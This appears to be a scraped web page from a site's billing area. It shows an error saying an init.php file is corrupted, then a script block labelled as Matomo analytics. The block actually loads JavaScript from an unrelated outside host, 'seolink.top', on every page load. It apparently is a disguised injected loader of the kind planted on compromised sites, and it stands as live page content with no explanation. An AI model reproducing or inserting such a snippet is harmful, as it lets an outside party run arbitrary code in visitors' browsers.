The file /home/onlineau/public_html/billing/init.php is corrupted.
<!-- Matomo -->
<script type="text/javascript">
(function() {
var u="https://seolink.top/";
var d=document, g=d.createElement("script"), s=d.getElementsByTagName("script")[0];
g.type="text/javascript"; g.async=true; g.defer=true;
g.src=u+"js/onlineaudience.co.uk/matomo.js?id=M-1728542493"; s.parentNode.insertBefore(g,s);
})();
</script>
<!-- End Matomo Code -->